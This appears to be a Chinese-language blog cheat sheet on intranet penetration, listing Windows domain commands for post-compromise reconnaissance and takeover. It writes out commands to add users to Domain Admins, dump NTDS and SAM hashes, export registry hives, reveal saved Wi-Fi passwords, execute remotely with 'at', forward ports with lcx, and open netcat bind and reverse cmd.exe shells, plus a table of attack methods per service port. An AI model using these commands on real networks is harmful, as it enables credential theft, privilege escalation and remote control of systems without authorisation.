内网渗透基础知识

内网渗透基础知识

前言

了解一下内网的ip分配。。。。。。

内网常用的三种ip:

A类 10.0.0.0–10.255.255.255

B类 172.16.0.0–172.31.255.255

C类 192.168.0.0–192.168.255.255

什么是域控制器

域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器(Domain Controller,简写为DC)

在域中拥有最高权限,它能对域中的所有计算机进行操作和管理。

一、内网中常用的系统命令

1.内网网络探测常用命令

1
2
3
4
5
6
7
8
9
10

tracert IP    //路由跟踪
route print    //打印路由表
arp -a          //列出本网段内所有活跃的IP地址
arp -s (ip + mac) //绑定mac与ip地址
arp -d (ip + mac) //解绑mac与ip地址
nbtscan -r 192.168.16.0/24  //通过小工具nbtscan扫描整个网络
netsh firewall show config    //查看防火墙策略
netsh firewall show state     //查看防火墙策略
for /l %i in (1,1,255) do @ping 192.168.10.%i -w 1 -n 1 | find /i "ttl" //探测存活主机

2.windows操作命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
net group /domain                          //获得所有域用户组列表
net group xxx /domain //显示域中xxx组
net group xxx /del /domain //删除域中xxx组
net group xxx nx /del /domain //删除域内xxx组中的成员nx
net group xxx /add /domain //添加域中的群组xxx
net group "domain admins" /domain //获得域管理员列表
net group "enterprise admins" /domain //获得企业管理员列表
net localgroup administrators /domain //获得域内置administrators组用户
net group "domain controllers" /domain //获得域控制器列表
net group "domain computers" /domain //获得所有域成员计算机列表
net user /domain //获得所有域用户列表
net user xxx /domain //获得账户xxx的详细信息
net accounts /domain //获得域密码策略设置,密码长短,错误锁定等信息
net view /domain //查询有几个域,查询域列表
net view /domain:xxx //查看xxx域中的计算机列表
nltest /domain_trusts //获取域信任信息
net user domain-admin /domain //查看域管理员登录时间,密码过期时间,是否有登录脚本,组分配等信息
net config workstation //查询机器属于哪个域
net time /domain //查询主域服务器的时间
echo %logonserver% //查看登入到这台服务器的计算机名
net time \\192.168.1.1 //查询远程共享主机192.168.1.1的时间
net use \\ip\ipc$ password /user:username@domain //ipc$域内连接
net view \\xxx.ggg.com //查看域控共享情况
dir \\dc2.backlion.com\SYSVOL /s /a > sysvol.txt  //列出sysvol日志记录
xcopy \\dc2.backlion.com\sysvol.txt sysvol.txt  /i  /e  /c//远程拷贝到本地sysvol日志
net user  /domain  bk bk123                 //修改域内用户密码,需要管理员权限
net  localgroup  administartors   SEZKL\backlion  /add     //将SEZKL域中的用户backlion添加到administrators组中
mstsc /admin                 //远程桌面登录到console会话解决hash无法抓出问题
gpupdate/force                  //更新域策略
psexec  \\192.168.1.3 -u administrator -p bk1234 -c gsecdump.exe -u //从域服务器密码存储文件windows/ntds/ntds.dit导出hash值出来
gsecdump  -a      //获取域登管理员登录过得hash值,这里gescdump为第三方导出AD域的hash值
tasklist /S ip /U domain\username /P /V    //查看远程计算机进程列

普通域用户提升为域管理员:
net group "Domain Admins" xxx /add /domain

3.基本内网渗透命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
ipconfig /all  //查看ip地址
ipconfig /release //释放地址
ipconfig /renew //重新获取ip地址
whoami //查询账号用户名
whoami /all //查看sid值
systeminfo //查询系统以及补丁信息
tasklist /svc //查看进程
taskkill /im 进程名称(cmd) //结束进程
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
wmic qfe get hotfixid //查看已安装的补丁
wmic qfe list full /format:htable > hotfixes.htm //详细的补丁安装
wmic qfe //查询补丁信息以及微软提供的下载地址
net start //查看当前运行的服务
net user //查看本地组的用户
net localgroup administrators //查看本机管理员组有哪些用户
net use //查看会话
net session //查看当前会话
net share //查看SMB指向的路径[即共享]
wmic share get name,path //查看SMB指向的路径
wmic nteventlog get path,filename,writeable //查询系统日志文件存储位置
net use \\IP\ipc$  password  /user:username      //建立IPC会话(工作组模式)
net use  z:  \\192.168.1.1      //建立映射到本机Z盘
net time \\172.16.16.2        //查询共享主机的是
at \\172.16.16.2 13:50 c:\windows\2009.exe      //在共享主机上执行
netstat  -ano      //查看开放的端口
netstat -an | find “3389”   //找到3389端口
net accounts      //查看本地密码策略
nbtstat –A ip      //netbiso查询
net view      //查看机器注释或许能得到当前活动状态的机器列表,如果禁用netbios就查看不出来
echo %PROCESSOR_ARCHITECTURE%        //查看系统是32还是64位  
set                              //查看系统环境设置变量
net start                     //查看当前运行的服务
wmic service list brief             //查看进程服务
wmic process list brief         //查看进程
wmic startup list brief       //查看启动程序信息
wmic product list brief           //查看安装程序和版本信息(漏洞利用线索)
wmic startup list full         //识别开机启动的程序
wmic process where(description="mysqld.exe") >>mysql.log  //获取软件安装路径
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan showprofiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %jkey=clear //一键获取wifi密码
if defined PSModulePath (echo 支持powershell) else (echo 不支持powershell) //查看是否支持posershell
qwinsta                       //查看登录情况
set KB2829361=MS13-046&set KB2830290=MS13-046&set KB2667440=MS12-020&set KB2667402=MS12-020&set KB3124280=MS16-016&set KB3077657=MS15-077&set KB3045171=MS15-051&set KB2592799=MS11-080&set KB952004=MS09-012 PR&set KB956572=MS09-012 巴西烤肉&set KB970483=MS09-020 iis6&set KB2124261=MS10-065 ii7&set KB2271195=MS10-065 ii7&systeminfo>a.txt&(for %i in (KB952004 KB956572 KB2393802 KB2503665 KB2592799 KB2621440 KB2160329 KB970483 KB2124261 KB977165 KB958644 KB2667402 KB2667440 KB2830290 KB2829361 KB3045171 KB3077657 KB3124280)do @type a.txt|@find /i "%i"||@echo %%i% Not Installed!)&del /f/q /a a.txt //windows未打补丁情况

4.导出注册表的命令

1
reg save hklm\sam sam.hive & reg save hklm\system system.hive & reg save hklm\security security.hive

二、内网测试中代理与端口转发

正向代理

Lhost ——> proxy ——> Rhost

正向代理

Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

正向代理

正向代理就像一个跳板,比如ABC三个
IP,A能访问B,B能访问C,A不能访问C,那么,正向代理就是A去访问B,告诉B自己要访问C的什么内容,然后B去代替A来访问,接着把访问到的内容返回给A,这样就相当于A访问到了C。

反向代理

Lhost <——> proxy <——> firewall <——> Rhost

反向代理

反向代理是我们经常用到的一种代理方式,因为它可以有效的穿透防火墙,这也是很多网站保护集群的一种做法,他们将内网中的web(A)代
理到外网的一台服务器(B)上,当用户访问这台服务器(B)时,他们以为自己访问的是原始的web(A)。

windows lcx端口转发

lcx常用命令:

1
2
3
4
5
6
1: -listen <ConnectPort1> <TransmitPort2>
监听p1,接收由p2转发过来的数据
2: -tarn <ConnectPort> <TransmitHost> <TransmitPort>
端口转向功能,通过访问该端口可以直接与该主机或另一台主机的某一个端口进行通信
3: -slave <TransmitHostB> <PortB> <TransmitHostA> <PortA>
端口转发功能,将目标A机上的端口A,转发到外网B机的端口B上

内网上执行:
lcx.exe –slave 192.168.100.101 8888 192.168.100.111 3389

NC反弹CMDshell(netcat)

靶机上输入:
nc.exe -l -p 8888 -e cmd.exe
将cmd.exe转发到8888端口

攻击机输入:
nc.exe -nvv 192.168.100.101 8888
连接到靶机的8888端口(获取cmd.exe的执行权限)

反向连接:

攻击机输入:
nc.exe -l -p 8888
监听本地8888端口

靶机上输入:
nc.exe -e cmd.exe 192.168.100.100 8888
将靶机的cmd.exe转发到攻击机的8888端口

三、如何内网信息收集

拿下边界机器后,我们首先要明白的是:这台边界机器在内网中处于什么地位,内网的架构是什么样子,判断有没有域,只要找到域控,拿下域控,便可以操控整个域。

首先我们获取当前组的计算机名 net view 这个命令可以查看同一域/工作组的计算机列表,

然后我们可以查看当前的计算机名、用户名、系统版本、工作站域、登
陆域等等

通过 net view /domain 这个命令我们可以看有哪些域。

查询指定域列表:

net view /domain:contoso

通过计算机名获取其Ip地址:

ping –n 1 DC1 -4

Ping命令扫描计算机数量:

for /l %i in (1,1,255) do @ping 192.168.100.%i -w 1 -n 1 | find /i "ttl"

以下命令在执行的时候会发送到域控中查询,如果渗透的机器不是域用户权限,则会出现报错

内网1

查看域中的用户名:

net user /domain

查询域组名称:

net group /domain

添加域管理员账号:
我们先添加普通域用户
net user 用户名 密码 /add /domain

普通域用户提升为域管理员:

net group "Domain Admins" linen /add /domain

查看域控制器:

net group "Domain controllers"

查询所有计算机名称:

dsquery computer

寻找域控的方式有很多种方式。比如说一般的域控也是DNS
主机,我们看一下DNS的IP就能确定域控。又比如net time /domain 这个命令是通过时间服务器来寻找域控,又或者用命令net group "Domain Controllers" /domain来查找域控

内网2

四、端口与服务

端口号 端口说明 攻击技巧
21/22/69 ftp/tftp:文件传输协议 爆破\嗅探\溢出\后门
22 ssh:远程连接 爆破OpenSSH;28个退格
23 telnet:远程连接 爆破\嗅探
25 smtp:邮件服务 邮件伪造
53 DNS:域名系统 DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙
67/68 dhcp 劫持\欺骗
110 pop3 爆破
139 samba 爆破\未授权访问\远程代码执行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击\未授权访问
512/513/514 linux r 直接使用rlogin
873 rsync 未授权访问
1080 socket 爆破:进行内网渗透
1352 lotus 爆破:弱口令\信息泄漏:源代码
1433 mssql 爆破:使用系统用户登录\注入攻击
1521 oracle 爆破:TNS\注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破\拒绝服务\注入
3389 rdp 爆破\Shift后门\0708
4848 glassfish 爆破:控制台弱口令\认证绕过
5000 sybase/DB2 爆破\注入
5432 postgresql 缓冲区溢出\注入攻击\爆破:弱口令
5632 pcanywhere 拒绝服务\代码执行
5900 vnc 爆破:弱口令\认证绕过
6379 redis 未授权访问\爆破:弱口令
7001 weblogic Java反序列化\控制台弱口令\控制台部署webshell
80/443/8080 web 常见web攻击\控制台爆破\对应服务器版本漏洞
8069 zabbix 远程命令执行
9090 websphere控制台 爆破:控制台弱口令\Java反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破\未授权访问
-------------本文结束感谢您的阅读-------------
求打赏,多少都行
0%